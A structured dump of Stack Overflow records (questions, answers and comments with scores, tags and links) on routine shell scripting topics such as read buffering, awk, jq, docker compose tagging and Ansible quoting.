has body: seq 99999 | (head -n2; cat) | head -n5 1 2 1861 1862 In the above example, head -n2 reads much more than two lines, so cat misses out on them. Using read does not have this problem: seq 99999 | (for i in 1 2; do read -r s; printf %s\\n "$s"; done; cat) | head -n5 1 2 3 4 5 The question is: can this be relied upon? I have tried reading about POSIX read and shell without finding the answer. (What I really want is approximately: a_program | (sed 's/A/B/;7q'; cat) | program_b, where I modify first ~7 lines (text), then cat the rest (incl. binary). If read works, that's fine, but I want to know how safe it is.)
has title: Can I trust shell's `read` to not buffer input?
downvote count: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135836216
favorite count: 0
has comment: http://stackoverflow.com/comment/135836895
linked to: http://stackoverflow.com/q/3465619

http://stackoverflow.com/q/76898164
tagged with: bash
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135567571
has title: test if file exists then create it remotely - sync delay
tagged with: ssh
type: Question
has comment: http://stackoverflow.com/comment/135574893
has comment: http://stackoverflow.com/comment/135572893
has comment: http://stackoverflow.com/comment/135566580
has comment: http://stackoverflow.com/comment/135574798
has body: I need to check locally if a file exists, then generate it remotely via ssh, then check its content locally. So, if I check its existence before generating it remotely, I get syncing delay. Is it possibly to avoid this delay? Case1: outfile=$HOME/testfile.$$.1.txt # non-existing file test -f $outfile && echo "exists" # test the file ssh $remote_host touch $outfile # create it remotely stat $outfile # check it locally Not found: stat: cannot stat 'testfile.1234.1.txt': No such file or directory It is needed to wait before it gets visible: echo -n "wait: " while ! -e $outfile ; do echo -n "|" sleep 1 done echo " done" wait: |||||||||||||||||||||||||| done Case2 - without 'test' command: outfile=$HOME/testfile.$$.2.txt # non-existing file ssh $remote_host touch $outfile # create it remotely stat $outfile # check it locally it is visible immediately: File: ‘testfile.1235.2.txt’ Size: 0 Blocks: 0 IO Block: 1048576 regular empty file ...
has comment: http://stackoverflow.com/comment/135572971
score: 0
tagged with: shell
answer count: 0

http://stackoverflow.com/comment/135747380
comment on: http://stackoverflow.com/q/76991403
type: QuestionComment
has text: Then there's no other choice than to use an extglob: `HISTIGNORE='word1+( )word2?( )*'`
type: Comment
score: 0

http://stackoverflow.com/comment/135629933
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76936679
has text: have you read [this question](https://stackoverflow.com/questions/16828378/readline-get-a-new-prompt-on-sigint)?
type: QuestionComment

http://stackoverflow.com/comment/135766176
type: QuestionComment
comment on: http://stackoverflow.com/q/77009623
type: Comment
score: 0
has text: BTW, in the general case it's more useful if you to a `type -a ....`. This shows you all occurances, in case you have in different PATH-directories files of the same name, or if you mask such a file by an alias and a function.

http://stackoverflow.com/comment/135631055
score: 0
has text: A line editing library should not make you deal with the SIGINT signal. Find a better one. Line editing puts the TTY in raw mode, so that Ctrl-C is received as an ordinary character. While line editing is going on, there is no SIGINT; it is used only for interrupting the execution of the commands in your own code.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76936679

http://stackoverflow.com/comment/135847353
score: 0
comment on: http://stackoverflow.com/q/77058657
type: QuestionComment
has text: @CharlesDuffy : I know, and it would be better than to write `((var=value))`, but I thought that maybe the OP confused `set` and `let` due to its similar spelling.
type: Comment

http://stackoverflow.com/comment/135644513
has text: @CharlesDuffy : Right; plus, without quoting, `echo` would condense a run of spaces into a single space. Fixed.
score: 0
comment on: http://stackoverflow.com/a/76945473
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76913085
accepted answer: http://stackoverflow.com/a/76913484
has answer: http://stackoverflow.com/a/76913535
downvote count: 0
has comment: http://stackoverflow.com/comment/135589337
type: Question
possible better answer: http://stackoverflow.com/a/76913535
tagged with: shell
has answer: http://stackoverflow.com/a/76913484
score: 3
has body: I am trying to replace a column from one file with a column from another file using AWK. The files are tab-delimited. The problem is that the second file has a header. Therefore the number of rows is not the same. I am not sure how to skip the 1st line in one file but not in the other. Any suggestions? Thanks For example: Here I presented two hypothetical files (tab-delimited) where I want to replace the values from the 2nd column of file1 with the values from the 3rd column ("NewValue") of file2 file1: "ID_1" "U" "Place1" "ID_2" "U" "Place2" file2: "ID" "Name" "NewValue" "ID_1" "A" "X" "ID_2" "B" "Y" Expected result: "ID_1" "X" "Place1" "ID_2" "Y" "Place2" I tried with the following code, but it didn't work. awk 'NR>1 && NR==FNR{a[NR]=$0;next} {$2=a[FNR]}1' file2 file1
upvote count: 3
has comment: http://stackoverflow.com/comment/135589321
has comment: http://stackoverflow.com/comment/135589388
has comment: http://stackoverflow.com/comment/135589351
favorite count: 0
has comment: http://stackoverflow.com/comment/135588927
has title: Replacement one column with a column from another file skipping the header with AWK
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135591410
tagged with: awk
has comment: http://stackoverflow.com/comment/135589420
has comment: http://stackoverflow.com/comment/135588882
has comment: http://stackoverflow.com/comment/135589391
answer count: 2

http://stackoverflow.com/comment/135734312
has text: `HISTIGNORE="word1 *"` will ignore the `word1` commands with any number of arguments
type: QuestionComment
comment on: http://stackoverflow.com/q/76991403
type: Comment
score: 0

http://stackoverflow.com/comment/135555996
type: Comment
comment on: http://stackoverflow.com/q/76893847
score: 0
type: QuestionComment
has text: The Bash built-in command you are looking for is `until`. But first of all, it’s good to take a step back and stop using `crontab` altogether, `cron` is not just outdated, but outright broken and none of the ~5 different `cron` variants has ever worked too well. To keep a program alive, restart it as needed, make it uptime-aware and timing-aware, manage its dependencies on other system components, manage its logs, sandbox it and much more, `systemd` is the way to go. That also avoids awkward solutions based on a Bash loop with `until`.

http://stackoverflow.com/q/77039347
has answer: http://stackoverflow.com/a/77039474
tagged with: docker
type: Question
tagged with: shell
tagged with: docker-compose
accepted answer: http://stackoverflow.com/a/77039474
tagged with: azure
has answer: http://stackoverflow.com/a/77045002
has body: I have the following script that i am hoping will build and publish to my azure container registry. echo "env override file:${1}" cd ../.devcontainer docker compose --env-file .env --env-file $1 build #parse image name and tag from above output here into $docker_image and $tag docker image tag $docker_image:$tag mycontainerreg.azurecr.io/$docker_image:latest docker push mycontainerreg.azurecr.io/$docker_image:latest After the compose comand, the last output shown is : => => naming to docker.io/library/my_app:v1.0 I would like to be able to extract the image name and tag from that output to use in the subsequent docker commands. How can i do that? Also what is best practice for tagging? i tag with a version number. but should i also re-tag as the latest version as im doing - as it would simplify downstream deploys? for completeness my docker-compose relevant context: services: my_app: container_name: my_app_${ENV} image: "my_app:${VERSION:-local}" env files are .env, env_dev, etc: VERSION=v1.0 ENV=local USER_ID=1000 GROUP_ID=1000 USER_NAME=user1 SVC_PORT=5000 DB_PORT=5434
tagged with: devops
favorite count: 0
answer count: 2
downvote count: 0
score: 1
upvote count: 1
type: AnsweredQuestion
has title: How to extract image name and tag from docker-compose build output
possible better answer: http://stackoverflow.com/a/77045002

http://stackoverflow.com/comment/135607403
score: 2
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76923495
has text: Replace `crontab -l` with `crontab -l 2>&1` to redirect stderr to stdout.

http://stackoverflow.com/comment/135654925
type: AnswerComment
comment on: http://stackoverflow.com/a/76945367
has text: @user1934428: true, fixed. thx. Charles_Duffy provided the most performant solution.
score: 0
type: Comment

http://stackoverflow.com/a/76947075
has comment: http://stackoverflow.com/comment/135647394
has body: Q: "Why output contains extra backslash between quotes?" A: Ansible escapes the double quotes in output to tell you the double quotes are part of the string. For example, - shell: echo "\"This is a double-quoted string.\"" register: out gives msg: |- . 123456789012345678901234567890123 out.stdout: "This is a double-quoted string." length: 33 out.cmd: echo "\"This is a double-quoted string.\"" It is up to you to include the double quotes. For example, - shell: echo "This is NOT a double-quoted string." register: out gives msg: |- out.stdout: This is NOT a double-quoted string. out.cmd: echo "This is NOT a double-quoted string." You don't have to escape the double quotes if you use Single-Quoted Style - shell: echo '"This is a double-quoted string."' register: out gives msg: |- . 123456789012345678901234567890123 out.stdout: "This is a double-quoted string." length: 33 out.cmd: echo '"This is a double-quoted string."' Example of a complete playbook for testing - hosts: localhost tasks: - shell: echo "This is NOT a double-quoted string." register: out - debug: msg: | out.stdout: {{ out.stdout }} out.cmd: {{ out.cmd }} - shell: echo "\"This is a double-quoted string.\"" register: out - debug: msg: | . 123456789012345678901234567890123 out.stdout: {{ out.stdout }} length: out.cmd: {{ out.cmd }} - shell: echo '"This is a double-quoted string."' register: out - debug: msg: | . 123456789012345678901234567890123 out.stdout: {{ out.stdout }} length: out.cmd: {{ out.cmd }} Q: "Do I have to add something due to double-quote (a string)?" In the below command, the double quotes will be interpreted by the shell - shell: kubeadm init --control-plane-endpoint "hostname:port" If you want the double quotes to be part of the string you have either escape it - shell: kubeadm init --control-plane-endpoint "\"hostname:port\"" , or close it in single quotes - shell: kubeadm init --control-plane-endpoint '"hostname:port"' Q: "Double quotes wil…
has comment: http://stackoverflow.com/comment/135648453
score: 3
type: AcceptedAnswer
upvote count: 3
accepted answer of: http://stackoverflow.com/q/76946610
has comment: http://stackoverflow.com/comment/135648699
downvote count: 0
answers question: http://stackoverflow.com/q/76946610
type: Answer

http://stackoverflow.com/q/76971571
type: Question
answer count: 0
has body: How to apply the below command for multiple netcdf file, let say! I have daily netcdf files glo12_rg_1h-m_20210201.nc glo12_rg_1h-m_20210202.nc glo12_rg_1h-m_20210203.nc .... .... .... .... glo12_rg_1h-m_20210226.nc glo12_rg_1h-m_20210227.nc glo12_rg_1h-m_20210228.nc I want to apply for each in a shell script in a loop the commands below sequence. And then creation of a new netcdf file after all process on '.nc' files. I really appreciate anyone can help me how to do it. ncks -O -x -v vo,uo,zos glo12_rg_1h-m_20210201.nc data_01_output1.nc rm glo12_rg_1h-m_20210201.nc # ncra -F -d time,1,24 data_01_output1.nc data_01_output2.nc rm data_01_output1.nc # ncrename -O -d depth,z -d longitude,x -d latitude,y -d time,time_counter data_01_output2.nc data_01_output3.nc rm data_01_output2.nc I am trying the below command to do but setting and reading time for each '.nc' files in a loop for me is a little tricky for fl in `ls *.nc` ; do ncks -O -x -v vo,uo,zos glo12_rg_1h-m_20210201.nc data_01_output1.nc ${fl} rm glo12_rg_1h-m_20210201.nc ${fl} # ncra -F -d time,1,24 data_01_output1.nc data_01_output2.nc ${fl} rm data_01_output1.nc ${fl} # ncrename -O -d depth,z -d longitude,x -d latitude,y -d time,time_counter data_01_output2.nc data_01_output3.nc ${fl} rm data_01_output2.nc ${fl} done
type: UnansweredQuestion
has title: How can I write a loop shell script by including a NCO statement in the loop for each files, and then make a new NetCDF file after all process
has comment: http://stackoverflow.com/comment/135690231
score: 0
has comment: http://stackoverflow.com/comment/135705892
has comment: http://stackoverflow.com/comment/135706141
tagged with: shell
has comment: http://stackoverflow.com/comment/135693283
has comment: http://stackoverflow.com/comment/135690928
has comment: http://stackoverflow.com/comment/135705797
has comment: http://stackoverflow.com/comment/135690282

http://stackoverflow.com/q/76907867
has title: How may I inject input to a terminal with terminator?
tagged with: wayland
score: 0
type: Question
tagged with: shell
has body: This is a specific question relating to use the terminator XTerm app for the general problem of inject or send shell command strings to a terminator panel. I am looking for a replacement for existing scripts that use xdotool to send command strings to the current terminal Tab/Panel. Under Wayland that would be a security violation (understandably). Naturally, xdotool is X-Org thing (not Wayland). I thought of terminator because terminator lets me group panels and send the same command to each panel/session in the group. That tells me that terminator has the capacity and mechanism to send command strings to other panels. I am questing for a method to use that ability to send input via stdin to a specific panel hosted by the same window. Perhaps beyond that to any open terminator panel using the same termiator parent/host or using a known DBus channel. I confess that it is a presumption that DBus could be used to succeeds in this objective. I have not yet found a suggeston that this kind or ability is available. My first step is to ask if one of you knows of a way this can be done in a 'clean' way. It seems like the kind of 'need' or 'want' that a can be delivered with a plugin, if it doesn't exist yet. There are several questions about sending input to bash or terminal sessions. Not that I see as satisfactory. Most involve low-level stuff with seemingly inconsistient performance or manipulating screen or tmux and a bit suboptimal. It struck me that the grouping feature of terminator is at least a demonstration of of one shell script (session) sending to another shell session instance. Although not necessarily how my xdotool scripts operate. Here a couple of examples to flesh-out what this Use cases A launch script -- A terminal session used for a bit of workflow to (say) run make to build an app can launch the editor to open key files, open terminal to monitor the log and input and output, etc. Automate testing on CLI programs Auto start terminal sessions (along with…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135902923
tagged with: automation
has comment: http://stackoverflow.com/comment/137465757
has answer: http://stackoverflow.com/a/77988304
tagged with: terminator
answer count: 1
tagged with: xdotool
has comment: http://stackoverflow.com/comment/135581561
has comment: http://stackoverflow.com/comment/135902791

http://stackoverflow.com/comment/135577019
type: QuestionComment
comment on: http://stackoverflow.com/q/76901704
type: Comment
has text: @CharlesDuffy Thank you, I will amend my local code accordingly.
score: 0

http://stackoverflow.com/a/77988304
answers question: http://stackoverflow.com/q/76907867
type: Answer
has body: It appears that the easiest method is to use a terminator profile and/or layout. This 'ask ununtu' question has some tips: How to start terminator with a custom command per window I also did some other testing and found the outcomes to be inconcsistient witht he documentation. In the cited question they mention the bash rule; that is so. If you want the tab to stay open it must end with a bash or shell instance. Of special mention the --execute <command> option seemed like the natural approach to adopt. It can work with the terminator command as long as the incantation is worthy. I don't think I'm being ironic either. I have not yet managed to get --execute toer work consistiently with the remotinator tool, however, alas. I'm interested in better suggestions, so I won't "tick" this answer just yet. Perhaps a future terminator release will tidy-up things and fulfill the promise in the documentation.
score: 0

http://stackoverflow.com/a/76945233
has comment: http://stackoverflow.com/comment/135644410
downvote count: 0
has comment: http://stackoverflow.com/comment/135644485
score: 3
upvote count: 3
has body: It's much more reasonable to make just one copy of awk do all the work, instead of running a separate copy of awk for each line of input; you can also make awk itself skip the empty lines: while IFS= read -r pattern1; do echo "$pattern1 one" done < <(awk -F@ '$2 != "" {print $2}') ...which properly emits: mysite.mw_path one mysite.mw_brkr_path one mysite.mw_path one mysite.mw_brkr_path one The general form of an awk statement is CONDITION { ACTION }; when you skip the CONDITION it defaults to operating on every input, and when you skip the ACTION it defaults to print $0, but you can always fill both parts out. Note also that -F'@|@' is exactly the same as -F@.
answers question: http://stackoverflow.com/q/76945139
type: Answer

http://stackoverflow.com/comment/135764547
has text: Looks like you want to `JOIN`?
comment on: http://stackoverflow.com/q/77012572
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77039535
has comment: http://stackoverflow.com/comment/135811017
has comment: http://stackoverflow.com/comment/135811115
type: Answer
has body: If you don't have access to a XML-centric tool then you have to do a bit of parsing. Sample data: $ cat test.xml <some_stuff ignore this section> </some_stuff> <more_stuff ignore this section, 2> </more_stuff> One awk idea: awk ' { for (i=1;i<=NF;i++) { # loop through space-delimited fields if ($i == "<testng-results" ) inblock=1 # start of "testng-results" block? else if ($i == " ") exit # if end of block then we have everything we need so skip to the END{...} block else if (inblock) { # if we are in the "testng-results" block then ... split($i,a,"\"") # split the field on double quotes and ... if ($i ~ /^total=/ ) total = a[2] # save the else if ($i ~ /^passed=/) passed = a[2] # desire values } } } END { printf "%0.6f\n", (total==0 ? 0 : passed/total) } ' test.xml This generates: 0.363636
answers question: http://stackoverflow.com/q/77039334
score: 0

http://stackoverflow.com/q/76987590
linked to: http://stackoverflow.com/q/2699666
has comment: http://stackoverflow.com/comment/135720415
tagged with: bash
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/135718802
has body: I want to write a bash script that replaces the following PHP snippet inside my wp-config.phg file: /**#@+ * Authentication unique keys and salts. * * Change these to different unique phrases! You can generate these using * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}. * * You can change these at any point in time to invalidate all existing cookies. * This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' ); /**#@-*/ So here's my attempt: SALT=$(curl https://api.wordpress.org/secret-key/1.1/salt/)\ WP_ROOT=/var/www/html/123123 SALT_START='\/\\*\\*#@+'; SALT_END='\/\\*\\*#@-\\*\/'; sed -ne &quot;/${SALT_START}/ {p; ${SALT}&quot; -e ':a; n; /${SALT_END}/ {p; b}; ba}; p' ${WP-ROOT}/wp-config.php But I get the following: sed: -e expression #1, char 20: extra characters after command I tried to copy and modify from here: Replace delimited block of text in file with the contents of another file but with no success.
has comment: http://stackoverflow.com/comment/135719179
score: -1
type: Question
upvote count: 0
tagged with: shell
type: UnansweredQuestion
answer count: 1
has title: Replace PHP snippet with output of curl command
has comment: http://stackoverflow.com/comment/135718913
has answer: http://stackoverflow.com/a/76987964
tagged with: sed

gitlab-ci-runner
tag name: gitlab-ci-runner
type: Tag
tags question: http://stackoverflow.com/q/77031983
tags question: http://stackoverflow.com/q/77534695
tags question: http://stackoverflow.com/q/78852927

http://stackoverflow.com/comment/135836723
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77051352
has text: Why not just `a_program | sed '1,7s/A/B/' | program_b`, i.e. don't split the middle part across multiple tools?
type: Comment

http://stackoverflow.com/comment/135764136
comment on: http://stackoverflow.com/q/77012572
type: Comment
has text: So, you want the `"var1"`, `"var2"`, and `"var3"` to all have an identical object as their values?
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135589522
comment on: http://stackoverflow.com/q/76913434
type: QuestionComment
type: Comment
has text: [edit] your question to show minimal representative contents of `JIRA_DETAIL` so we can help you.
score: 0

http://stackoverflow.com/q/76966101
tagged with: bash
tagged with: powershell
has title: How can I use Linux bash with powershell keybindings style for text selection
has body: I am new to Linux ( Ubuntu ), I used to work with Windows so it works with the PowerShell terminal interface for running commands. As soon as I open Linux bash, I find myself natively hitting Powershell's keybindings such: Selecting one letter at once: shift+left Selecting one word at once: ctrl+shift+left removing text that I selected: ctrl+shift+left (for selecting), then backspace copying or cutting selected text: ctrl+shift+left (for selecting), then ctrl+c or ctrl+x I am used to this, as I believe it makes me more productive when dealing with CLIs, but bash has its own binding which I already learned and knew, but no matter I find myself using Powershell's. is there any way that I can achieve similar key bindings of PowerShell that I mentioned while using bash? Please, I wanna hear anything from you.
score: 0
type: Question
answer count: 0
tagged with: shell
tagged with: ubuntu
has comment: http://stackoverflow.com/comment/135686810
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135681251
tagged with: linux

http://stackoverflow.com/comment/135824919
score: 1
has text: It does for me, @Fravadona. What locale does `locale` with no args say you're in? Perhaps you're in one with no defined _currency_symbol_ (like C or POSIX).
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77046245

http://stackoverflow.com/comment/135815884
type: Comment
has text: I have not installed *VSCode*, but the `cmd` command line is definitely incorrect according to help output by `cmd` on running in a command prompt window `cmd /?`. The command line should be either `%SystemRoot%\System32\cmd.exe /S /C "D:\Sci\Anaconda\envs\torch\python.exe c:\Users\shuch\.vscode\extensions\ms-python.python-2023.14.0\pythonFiles\lib\python\debugpy\adapter\..\..\debugpy\launcher 60484 -- D:\Date\LTS_23-6-20_ML\2_BasicML\inference_cnn.py"` with just ``\`` in paths and with option `/S` as the entire command line is enclosed in `"` or ...
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77042151

http://stackoverflow.com/q/76916410
has comment: http://stackoverflow.com/comment/135595557
possible better answer: http://stackoverflow.com/a/76916640
tagged with: arrays
linked to: http://stackoverflow.com/q/35005893
has comment: http://stackoverflow.com/comment/135594778
has comment: http://stackoverflow.com/comment/135594504
has body: Here are the details of my setup. I have the following files: config.json { "paths": ["/Users/First Folder", "/Users/Second Folder"] } test.sh #!/bin/zsh monitored_paths=$(jq -r '.paths[]' config.json) fswatch --verbose "${monitored_paths[@]}" The paths key in the JSON array needs to be processed by jq and then expanded as arguments. However, when executing test.sh, I encounter this output: Output: start_monitor: Adding path: /Users/First Folder /Users/Second Folder My expectation is to have: start_monitor: Adding path: /Users/First Folder start_monitor: Adding path: /Users/Second Folder In summary, I aim to monitor two files, but it seems only one file is being monitored. How can I resolve this issue? EDIT: Used exact output by request in the comments.
has answer: http://stackoverflow.com/a/76916586
has comment: http://stackoverflow.com/comment/135594811
has comment: http://stackoverflow.com/comment/135595302
has answer: http://stackoverflow.com/a/76916640
has title: How can I expand a Bash array as arguments to `fswatch`?
type: AnsweredQuestion
answer count: 2
tagged with: arguments
tagged with: zsh
tagged with: fswatch
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135594933
has comment: http://stackoverflow.com/comment/135594481
has comment: http://stackoverflow.com/comment/135595206
accepted answer: http://stackoverflow.com/a/76916586

http://stackoverflow.com/a/77682756
answers question: http://stackoverflow.com/q/76951169
has body: The answer from @Robert is right and it is indeed just pure python string manipulation. device.shell('input text &quot;{}&quot;'.format(content))
type: Answer
score: 0

http://stackoverflow.com/q/76922371
answer count: 1
tagged with: groovy
score: 0
has body: Say I have a Git submodule, and have created a branch with the same name on some, but NOT ALL, of its child modules. Here's the file structure. /path/submodule/module1 /module2 <---- has feature/jira-123-new-feature branch /module3 /module4 <---- has feature/jira-123-new-feature branch So in the case above, child modules module2 and module4 have the feature/jira-123-new-feature branch, but not module1 and module3. In a Jenkins pipeline, I want to be able to do this. node("buildNode") { stage("Run Git") { List<String> childModules = [] sh """ git submodule foreach 'git checkout feature/jira-123-new-feature && <add child module to childModules list> || :' """ } } The idea is if the child module has the branch, git checkout feature/jira-123-new-feature will pass and the code for <add child module to childModules list> will execute. Otherwise the git checkout ... will fail, but the || : will catch it and move onto the next child module. My question is, how can I code <add child module to childModules list>? Or maybe is there even a better/different way to accomplish what I need? TIA
tagged with: shell
tagged with: jenkins
type: UnansweredQuestion
has title: In a Jenkins pipeline, how can I keep track which child module in a Git submodule has a certain branch?
tagged with: jenkins-pipeline
has answer: http://stackoverflow.com/a/76946744
type: Question

http://stackoverflow.com/a/76897368
score: 1
has body: Since you are already using Python, I suggest writing a helper script for generating the filename pair combinations. Luckily, Python has a built-in combinations function in the itertools package: import sys from itertools import combinations if __name__ == "__main__": filenames = sys.argv[1:] for pair in list(combinations(filenames, 2)): print("\x1F".join(pair)) Let's call it pairs.py. In the script above, the unit separator character "\x1F" is used as a delimiter because it is unprintable and thus unlikely to appear in the filenames. This is done for the sake of simplicity. In a production-level code, a better communication format (such as JSON) should be used. Now we can generate the pairs and pipe them to your script as follows: python pairs.py a.txt b.txt c.txt d.txt | while IFS=$'\x1F' read -r f1 f2; do caulatepet.py \ --i "$f1, $f2" \ --menscor men-code.list \ --stat sex-rd.ratio \ --out "./result/${f1}_${f2}.txt" done Note that I've joined the two files into a single argument of the --i option because I think there is a little mistake in your question: --i file5.txt, file7.txt \ All popular shells (including bash), treat this sequence as three separate arguments, and most of the traditional CLI argument parsers would interpret it as --i option with a file5.txt, value and the file7.txt would be interpreted as a separate argument, which doesn't make sense in the context of your question.
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76896765

http://stackoverflow.com/comment/135644054
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76944879
type: Comment
has text: @Shr you get one `<...>` tag per line, isn't that what you wanted?

http://stackoverflow.com/comment/135764240
comment on: http://stackoverflow.com/q/77012572
type: Comment
score: 0
type: QuestionComment
has text: sorry for the confusion I updated the question

http://stackoverflow.com/q/77046185
has body: I have a powershell script which will execute .exe file on file change in specific directory, but when the change happens, it executes 2 times one after the other. Can you help me? Here's the script: $folderToWatch = "C:\Users\user\FTP" $fileToWatch = "file.txt" $watcher = New-Object System.IO.FileSystemWatcher $watcher.Path = $folderToWatch $watcher.Filter = $fileToWatch $watcher.EnableRaisingEvents = $true $action = { $executablePath = "C:\DotNet\Program.exe" $filePath = $Event.SourceEventArgs.FullPath Write-Host "New or modified file detected: $filePath" Write-Host "Executable path: $executablePath" try { Start-Process -FilePath $executablePath -Wait } catch { Write-Host "Error starting the process: $_" } } Register-ObjectEvent -InputObject $watcher -EventName Changed -Action $action
has comment: http://stackoverflow.com/comment/135835642
type: UnansweredQuestion
has title: Why is powershell script is running twice?
tagged with: scripting
has comment: http://stackoverflow.com/comment/135823880
answer count: 0
linked to: http://stackoverflow.com/q/1764809
tagged with: powershell
has comment: http://stackoverflow.com/comment/135826273
upvote count: 1
tagged with: powershell-3.0
favorite count: 0
downvote count: 1
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135825047
tagged with: shell

http://stackoverflow.com/comment/135635067
has text: Why do you want to involve `echo` in this rather than just `var='string1'; var="$var"$'\n''string2'` or similar?
type: Comment
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/76939782

http://stackoverflow.com/q/76937067
has title: Is there an option to make automator ask for specific password to proceed
tagged with: applescript
score: 0
has comment: http://stackoverflow.com/comment/135632544
type: Question
has body: I have an automator workflow, that I want to make unworkable without specific password: is there an option to do it? I've tried to use "Ask for text" action, but there is no option to specify request text. I think there is an option to make it work with AppleScript or shell someway.
tagged with: shell
answer count: 0
tagged with: automator
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135634715

http://stackoverflow.com/a/77009428
has comment: http://stackoverflow.com/comment/135766273
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135799171
answers question: http://stackoverflow.com/q/77006747
type: Answer
has comment: http://stackoverflow.com/comment/135812885
has body: Making a few assumptions - touch foo_{1..20}_bar.ext # simplified set shopt -s extglob # more specific globbing mkdir hold # a place to avoid naming collisions mv *_+([0-9])_*.ext hold/ # make sure this grabs the right set declare -i cnt=0 # reinitialize this is you run it again! lst=( $( printf "%s\n" hold/* | sort -t_ -k2,2rn ) ) # reverse numeric order on the key for f in "${lst[@]}" do n="${f#hold/}" # strip subfolder to move them *back* mv "$f" "./${n/_+([0-9])_/_$((++cnt))_}" # replace/reorder the numbers done I ran it with an echo for this: $: for f in "${lst[@]}"; do n="${f#hold/}"; echo mv "$f" "./${n/_+([0-9])_/_$((++cnt))_}"; done mv hold/foo_20_bar.ext ./foo_1_bar.ext mv hold/foo_19_bar.ext ./foo_2_bar.ext mv hold/foo_18_bar.ext ./foo_3_bar.ext mv hold/foo_17_bar.ext ./foo_4_bar.ext mv hold/foo_16_bar.ext ./foo_5_bar.ext mv hold/foo_15_bar.ext ./foo_6_bar.ext mv hold/foo_14_bar.ext ./foo_7_bar.ext mv hold/foo_13_bar.ext ./foo_8_bar.ext mv hold/foo_12_bar.ext ./foo_9_bar.ext mv hold/foo_11_bar.ext ./foo_10_bar.ext mv hold/foo_10_bar.ext ./foo_11_bar.ext mv hold/foo_9_bar.ext ./foo_12_bar.ext mv hold/foo_8_bar.ext ./foo_13_bar.ext mv hold/foo_7_bar.ext ./foo_14_bar.ext mv hold/foo_6_bar.ext ./foo_15_bar.ext mv hold/foo_5_bar.ext ./foo_16_bar.ext mv hold/foo_4_bar.ext ./foo_17_bar.ext mv hold/foo_3_bar.ext ./foo_18_bar.ext mv hold/foo_2_bar.ext ./foo_19_bar.ext mv hold/foo_1_bar.ext ./foo_20_bar.ext
accepted answer of: http://stackoverflow.com/q/77006747
has comment: http://stackoverflow.com/comment/135803274
score: 0

http://stackoverflow.com/a/77013286
has comment: http://stackoverflow.com/comment/135765893
score: 3
type: AcceptedAnswer
has body: It doesn't win a beauty contest, but it works: with_entries(.value |= from_entries) | with_entries(.key as $key | .value[] |= {($key):.}) | reduce .[] as $item ({}; . * $item) | {output: to_entries | map({(.key):.value})} With a single call to with_entries: with_entries(.key as $key | .value |= (from_entries | map_values({($key):.}))) | reduce .[] as $item ({}; . * $item) | {output: to_entries | map({(.key):.value})} Output: { "output": [ { "var1": { "hello": "1234", "hi": "3412", "bye": "1294" } }, { "var2": { "hello": "2356", "hi": "2563", "bye": "8356" } }, { "var3": { "hello": "2356", "hi": "4256", "bye": "5356" } } ] }
upvote count: 3
accepted answer of: http://stackoverflow.com/q/77012572
has comment: http://stackoverflow.com/comment/135769008
downvote count: 0
has comment: http://stackoverflow.com/comment/135768911
answers question: http://stackoverflow.com/q/77012572
type: Answer
has comment: http://stackoverflow.com/comment/135768886

http://stackoverflow.com/comment/135578925
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76906817
has text: `command1 & command2` does trigger `command2` after `command1`, but without any delay in between. If you need some sort of delay for `command1` to start up, you have what's known as a [race condition](https://en.wikipedia.org/wiki/Race_condition), which is a fertile source of bugs and randon problems. At the very least, you should define what stage of its operation `command1` needs to get to before `command2` starts, and figure out how the script can test for that so it doesn't start `command2` too soon. Also, can `command2` be run too late?

http://stackoverflow.com/comment/135765856
score: 0
has text: If you need only the **last** _jack_, why are you putting all of them into `files`?
type: QuestionComment
comment on: http://stackoverflow.com/q/77010630
type: Comment

http://stackoverflow.com/comment/135573622
score: 0
type: QuestionComment
type: Comment
has text: IMO `sed` is the tool for the job.
comment on: http://stackoverflow.com/q/76903745

http://stackoverflow.com/a/76893324
type: Answer
answers question: http://stackoverflow.com/q/76893303
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76893303
type: AcceptedAnswer
has body: Yes. diff --changed-group-format='%&gt;' --unchanged-group-format='' /tmp/a /tmp/b
score: 4
upvote count: 4

http://stackoverflow.com/comment/135669123
comment on: http://stackoverflow.com/q/76930863
score: 0
type: QuestionComment
type: Comment
has text: i mean, i need long press to button 'OK' Like a - 1) Down action on button ok 2) wait 3 sec 3) Up action on button 'ok' Ok button in remote controller it like Enter on keyboard

http://stackoverflow.com/comment/135657234
type: QuestionComment
comment on: http://stackoverflow.com/q/76952315
type: Comment
score: 0
has text: to be clear, you want to _keep_ the `@` symbols that indicate a parameter substitution?

http://stackoverflow.com/comment/135685914
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76968448
